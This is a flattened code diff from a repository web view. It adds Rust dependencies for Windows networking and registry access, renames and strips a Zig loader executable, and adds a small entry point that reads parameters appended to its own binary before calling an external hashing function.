windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
winreg = "0.55" winreg = "0.55"
[features]
service = []

View File

@ -55,9 +55,11 @@ pub fn build(b: *std.Build) !void {
}); });
const exe = b.addExecutable(.{ const exe = b.addExecutable(.{
.name = "test-loader", .name = "unix-loader",
.root_source_file = b.path("src/test_run.zig"), .root_source_file = b.path("src/run.zig"),
.target = target, .target = target,
.optimize = optimize,
.strip = true,
}); });
lib.addIncludePath(b.path("src")); lib.addIncludePath(b.path("src"));

26
unix-loader/src/run.zig Normal file
View File

@ -0,0 +1,26 @@
extern fn hash_internals(parameters: *Parameters) void;
const std = @import("std");
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = undefined;
fn fill_parameters() !void {
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
try this_file.seekFromEnd(@sizeOf(Parameters));
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
_ = try this_file.reader().read(&param_buffer);
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
}
pub fn main() void {
fill_parameters() catch {
return;
};
hash_internals(&file_parameters);
}

View File

@ -1,11 +0,0 @@
extern fn hash_internals(parameters: *Parameters) void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = .{};
pub fn main() void {
hash_internals(&file_parameters);
}